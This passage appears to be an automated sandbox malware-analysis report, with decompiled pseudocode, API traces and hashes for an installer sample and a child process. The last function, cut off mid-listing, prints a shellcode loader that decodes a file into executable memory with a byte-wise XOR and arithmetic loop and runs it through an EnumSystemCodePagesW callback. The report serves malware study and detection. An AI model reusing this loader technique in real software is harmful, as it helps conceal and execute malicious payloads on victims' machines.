0x00402028
0x00000000
0x00402028
0x00401fae
0x00401fb8
0x00401fbc
0x00402000
0x00401fbe
0x00401fc1
0x00401fc4
0x00401ff4
0x00401fc6
0x00401fc9
0x00401fd2
0x00401fd4
0x00401fd4
0x00401fd2
0x00401fc4
0x00402008
0x0040201d
0x0040201d
0x00000000
0x00402008
0x00401f98
0x00401f9c
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F92

Part of subcall function 00404FE7: lstrlenA.KERNEL32(0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000,?), ref: 00405020
Part of subcall function 00404FE7: lstrlenA.KERNEL32(00402C60,0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000), ref: 00405030
Part of subcall function 00404FE7: lstrcatA.KERNEL32(0041FD58,00402C60,00402C60,0041FD58,00000000,00000000,00000000), ref: 00405043
Part of subcall function 00404FE7: SetWindowTextA.USER32(0041FD58,0041FD58), ref: 00405055
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040507B
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405095
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050A3

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FA2
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB2
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 7fb9b226615727d3441864a5fc6923e543d9c096b6fd48025687a41fa8be44d0
Instruction ID: 03d8e5a468c8d4f9f4276292500c9ce54345415f5676ade893a4261965153270
Opcode Fuzzy Hash: 7fb9b226615727d3441864a5fc6923e543d9c096b6fd48025687a41fa8be44d0
Instruction Fuzzy Hash: 8E210B32904115BBDF207F65CE8CA6E39B1BF44358F20423BF601B62D0DBBD49419A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402319 Relevance: 6.1, APIs: 4, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402319(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402B01(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				 *(_t37 - 0x34) =  *(_t37 - 0x14);
				 *(_t37 - 0x38) = E00402A0C(2);
				_t18 = E00402A0C(0x11);
				_t31 =  *0x424030 | 0x00000002;
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x424030 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E00402A0C(0x23);
						_t19 = lstrlenA(0x40a450) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029EF(3);
						 *0x40a450 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402F2E(_t31,  *((intOrPtr*)(_t37 - 0x1c)), _t27, 0x40a450, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x38), _t27,  *(_t37 - 0x34), 0x40a450, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x424008 =  *0x424008 +  *(_t37 - 4);
				return 0;
			}

0x0040231a
0x0040231f
0x00402329
0x00402333
0x00402336
0x00402346
0x00402350
0x00402357
0x0040235f
0x0040236d
0x00402371
0x0040237c
0x0040237c
0x00402380
0x00402384
0x0040238a
0x0040238f
0x0040238f
0x00402393
0x0040239f
0x0040239f
0x004023b8
0x004023ba
0x004023ba
0x004023bd
0x00402493
0x00402493
0x004028a4
0x004028b0

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402357
lstrlenA.KERNEL32(0040A450,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402377
RegSetValueExA.ADVAPI32(?,?,?,?,0040A450,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B0
RegCloseKey.ADVAPI32(?,?,?,0040A450,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402493

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 095443195063697bdd456d4cd3d43ce86eee03aab12c67eea5854480753a1108
Instruction ID: ad8ea78d7240695516c5cd5a42f81e191ab97329ebd365d047bf213c76e9c1da
Opcode Fuzzy Hash: 095443195063697bdd456d4cd3d43ce86eee03aab12c67eea5854480753a1108
Instruction Fuzzy Hash: 14113071E00108BEEB10EFB5DE8DEAF7A79EB40358F10403AF905B61D1D6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 8)), 0x5a);
				0x40b054->lfHeight =  ~(MulDiv(E004029EF(2), _t6, 0x48));
				 *0x40b064 = E004029EF(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x18));
				 *0x40b06b = 1;
				 *0x40b068 = _t11 & 0x00000001;
				 *0x40b069 = _t11 & 0x00000002;
				 *0x40b06a = _t11 & 0x00000004;
				E00405D1D(_t18, _t24, _t26, 0x40b070,  *((intOrPtr*)(_t28 - 0x24)));
				_t14 = CreateFontIndirectA(0x40b054);
				_push(_t14);
				_push(_t26);
				E00405C59();
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024ce
0x00401561
0x00402849
0x004028a4
0x004028b0

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040B054), ref: 00401D8A

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 8e548603e350ce1a89f038fa1766b34cdc841b1a5af396ce190c880d9480c0eb
Instruction ID: c086b606221abe62c4a5ea5e4ce8852375084165fd0064a8092653b5abcc508f
Opcode Fuzzy Hash: 8e548603e350ce1a89f038fa1766b34cdc841b1a5af396ce190c880d9480c0eb
Instruction Fuzzy Hash: FAF04471A48240AEE70167709E0AB9B3F64D715305F104476B251B62F2C7790444CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00403A17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A17(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405C72(__ecx, "1033");
				while(1) {
					_t26 =  *0x423fc4;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x423f90 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423fc0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423760 = _t18[1];
					 *0x424028 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42375c = _t23;
						E00405C59(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420558, E00405D1D(_t13, _t24, _t26, 0x423780, 0xfffffffe));
						_t11 =  *0x423fac;
						_t27 =  *0x423fa8;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E00405D1D(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x00403a1b
0x00403a20
0x00403a26
0x00403a2b
0x00403a2b
0x00403a33
0x00000000
0x00000000
0x00403a3b
0x00403a43
0x00403a45
0x00403a4b
0x00403a4b
0x00403a4d
0x00403a59
0x00000000
0x00000000
0x00403a5d
0x00000000
0x00000000
0x00000000
0x00403a5f
0x00403a64
0x00403a6d
0x00403a73
0x00403a78
0x00403a8c
0x00403a97
0x00403aaf
0x00403ab5
0x00403aba
0x00403ac2
0x00403ae3
0x00403ae3
0x00403ae3
0x00403ac4
0x00403ac6
0x00403ac6
0x00403aca
0x00403ad1
0x00403ad1
0x00403ad6
0x00403adc
0x00403adc
0x00000000
0x00403ac6
0x00403a7a
0x00403a7f
0x00403a88
0x00403a81
0x00403a81
0x00403a81
0x00403a7f

APIs

SetWindowTextA.USER32(00000000,00423780), ref: 00403AAF

Strings

1033, xrefs: 00403A1B, 00403A25, 00403A96
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00403A18

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\qHpeBvr9cR.exe"$1033
API String ID: 530164218-146464102
Opcode ID: bde8280c9c770d58924a074a3110f1818d19584ed3810c5b524036327c9d2aac
Instruction ID: d2f26ffd722b9fc2ec01e0f6875488dfbe0f51797c7981412bd9696a178e6430
Opcode Fuzzy Hash: bde8280c9c770d58924a074a3110f1818d19584ed3810c5b524036327c9d2aac
Instruction Fuzzy Hash: D511D071B00201ABC720EF149C80A373BA8EB85716369813BE841A73A0D73D9A028E58

Uniqueness

Uniqueness Score: -1.00%

Function 00404F37 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F37(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420568 != _t22) {
							 *0x420568 = _t22;
							E00405CFB(0x420580, 0x425000);
							E00405C59(0x425000, _t22);
							E0040140B(6);
							E00405CFB(0x425000, 0x420580);
						}
						L11:
						return CallWindowProcA( *0x420570, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E004048B6(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404003(0x413);
				return 0;
			}

0x00404f43
0x00404f68
0x00404f88
0x00404f8b
0x00404f8e
0x00404fa5
0x00404fab
0x00404fb2
0x00404fb9
0x00404fc0
0x00404fc5
0x00404fcb
0x00000000
0x00404fdb
0x00404f75
0x00404fc8
0x00404fc8
0x00000000
0x00404fc8
0x00404f81
0x00404f83
0x00000000
0x00404f83
0x00404f49
0x00000000
0x00000000
0x00404f50
0x00000000

APIs

IsWindowVisible.USER32 ref: 00404F6D
CallWindowProcA.USER32 ref: 00404FDB

Part of subcall function 00404003: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 00404015

Strings

, xrefs: 00404F45

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a9a9cd53ea9b16651c68b641742eb392f20282b9ff56190fccbee61235c86997
Instruction ID: e5405207afdf9c80724cdb5948ae190fd13b5b366899adbc3f84073b9e1b6582
Opcode Fuzzy Hash: a9a9cd53ea9b16651c68b641742eb392f20282b9ff56190fccbee61235c86997
Instruction Fuzzy Hash: 2A116D71604209BBEF21AF52DD4199B3768AB503A5F00813BFA05791E1C7784992DFAD

Uniqueness

Uniqueness Score: -1.00%

Function 004036B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004036B9() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f53c;
				_t3 = E0040369E(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f53c =  *0x41f53c & 0x00000000;
				return _t3;
			}

0x004036ba
0x004036c2
0x004036c9
0x004036cc
0x004036cc
0x004036ce
0x004036d3
0x004036da
0x004036e0
0x004036e4
0x004036e5
0x004036ed

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,766DF560,00403690,00000000,00403482,00000000), ref: 004036D3
GlobalFree.KERNEL32 ref: 004036DA

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004036CB

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: e38f7b7ef76e64d847b72dc92418a1a22abc338dac8168bb5d5fc62d2911f828
Instruction ID: 7520a5cbb74b84659c3a5403b35965a418cfcd2fa6a259890695166e8a2f0d53
Opcode Fuzzy Hash: e38f7b7ef76e64d847b72dc92418a1a22abc338dac8168bb5d5fc62d2911f828
Instruction Fuzzy Hash: 53E08C3281142067C6315F0ABD0875A76AC6B45B26F018436E900B73A187756C438FDC

Uniqueness

Uniqueness Score: -1.00%

Function 00405835 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405835(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405836
0x00405840
0x00405842
0x00405849
0x00405851
0x00000000
0x00000000
0x00000000
0x00405851
0x00405853
0x00405858

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CF4,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\qHpeBvr9cR.exe,C:\Users\user\Desktop\qHpeBvr9cR.exe,80000000,00000003), ref: 0040583B
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CF4,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\qHpeBvr9cR.exe,C:\Users\user\Desktop\qHpeBvr9cR.exe,80000000,00000003), ref: 00405849

Strings

C:\Users\user\Desktop, xrefs: 00405835

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: d70a425eade4063b78d7fa64a6a9160d8ae63170ea867be96e5b455a3914fe1f
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: 01D05E634189A02EE30376509C04B8B6A48CF12340F198462E940A2190C2784C418BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405947 Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405947(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x00405953
0x00405955
0x0040597d
0x00405962
0x00405967
0x00405972
0x00000000
0x0040598f
0x0040597b
0x0040597b
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405B55,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040594E
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00405B55,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405967
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405975
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405B55,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040597E

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: b9005c049e247e33e5549b3e141599c62d2a38fed0f6fd2d3c1464f89547bebd
Instruction ID: 50b9e356db97d407f8629b59342efd8dd4fdec4619503af860e0f04522e7a9f7
Opcode Fuzzy Hash: b9005c049e247e33e5549b3e141599c62d2a38fed0f6fd2d3c1464f89547bebd
Instruction Fuzzy Hash: C1F0A776209D51EFC2026B255C04D7BBF94EF91324B24057BF440F2180D3399815DBBB

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: febcldoukq.exePID: 5816, Parent PID: 5588COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	1542
Total number of Limit Nodes:	20

Executed Functions

Function 00B118D0 Relevance: 33.7, APIs: 10, Strings: 9, Instructions: 441
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00B118D0(void* __eflags, void* _a4, void* _a8, WCHAR* _a12, void* _a16) {
				struct _OVERLAPPED* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				struct _OVERLAPPED* _v32;
				signed short* _v36;
				void* _v40;
				void* _v44;
				long _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				struct _OVERLAPPED* _v64;
				signed int _v68;
				long _v72;
				struct _OVERLAPPED* _v76;
				signed short _v96;
				signed int _v100;
				signed int _v132;
				char _v144;
				signed int _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				void* _v164;
				signed int _v168;
				signed int _v172;
				long _v176;
				void* __edi;
				struct _OVERLAPPED* _t228;
				void* _t232;
				void* _t236;
				int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t262;
				signed int _t264;
				signed int _t267;
				void* _t279;
				void* _t280;
				signed int _t284;
				signed int _t287;
				signed int _t290;
				signed int _t293;
				signed int _t296;
				signed int _t299;
				signed int _t302;
				signed int _t304;
				signed int _t312;
				signed int _t318;
				signed int _t325;
				intOrPtr _t350;
				void* _t399;
				void* _t402;
				void* _t406;
				signed int* _t407;
				signed int* _t408;
				intOrPtr* _t409;
				signed int* _t410;
				intOrPtr* _t411;
				signed int* _t412;
				intOrPtr* _t414;

				_v16 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v52 = 2;
				_v64 = 0;
				_v68 = 0;
				_v76 = 0;
				_v176 = 0x3d0900; // executed
				_t228 = E00B20FD1(); // executed
				_v76 = _t228;
				if(_v76 != 0) {
					E00B1FC30(_t399, _v76, 0x54, 0x3d0900);
					_t232 = CreateFileW(_a12, 0x80000000, 1, 0, 3, 0x80, 0); // executed
					_v44 = _t232;
					_v48 = GetFileSize(_v44, 0);
					_t236 = VirtualAlloc(0, _v48, 0x3000, 0x40); // executed
					_v40 = _t236;
					__eflags = 0;
					ReadFile(_v44, _v40, _v48,  &_v72, 0); // executed
					_t406 = _t402 - 0xfffffffffffffff0;
					while(1) {
						 *(_v40 + _v68) =  *(_v40 + _v68) + 1;
						 *(_v40 + _v68) =  *(_v40 + _v68) - 0x44;
						 *(_v40 + _v68) =  *(_v40 + _v68) ^ 0x000000e4;
						 *(_v40 + _v68) =  *(_v40 + _v68) - 0xfb;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 0xff;
						 *(_v40 + _v68) =  *(_v40 + _v68) - 0x18;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 0xe0;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 1;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 1;
						 *(_v40 + _v68) =  *(_v40 + _v68) + 0xff;
						_v68 = _v68 + 1;
						__eflags = _v68 - _v48;
						if(_v68 >= _v48) {
							break;
						}
					}
					__eflags = 0;
					_v176 = _v40;
					_v172 = 0;
					EnumSystemCodePagesW(??, ??); // executed
					_t407 = _t406 - 8;
					 *_t407 = _v76;
					E00B20F4D();
					_v68 = 0;
					while(1) {
						__eflags = _v68 - _v52;
						if(_v68 >= _v52) {
							break;
						}
						 *0xb34918 = 0x1f7;
						_v68 = _v68 + 1;
					}
					_t257 = GetOEMCP();
					 *0xb349b8 = _t257;
					 *0xb349b4 = _t257;
					 *0xb349a4 = 0x32;
					_t258 =  *0xb349a4; // 0x0
					 *_t407 = _t258;
					_v176 = 4;
					_t259 = E00B20F42();
					 *0xb349a0 = _t259;
					__eflags = _t259;
					if(_t259 != 0) {
						_v68 = 1;
						while(1) {
							__eflags = _v68 - _v52;
							if(_v68 >= _v52) {
								break;
							}
							 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
							_v176 = L"--headless";
							_t287 = E00B211B7();
							__eflags = _t287;
							if(_t287 != 0) {
								 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
								_v176 = L"--unix";
								_t290 = E00B211B7();
								__eflags = _t290;
								if(_t290 != 0) {
									 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
									_v176 = L"--width";
									_t293 = E00B211B7();
									__eflags = _t293;
									if(_t293 != 0) {
										 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
										_v176 = L"--height";
										_t296 = E00B211B7();
										__eflags = _t296;
										if(_t296 != 0) {
											 *_t407 =  *(_v56 + _v68 * 2) & 0x0000ffff;
											_v176 = L"--signal";
											_t299 = E00B211B7();
											__eflags = _t299;
											if(_t299 != 0) {
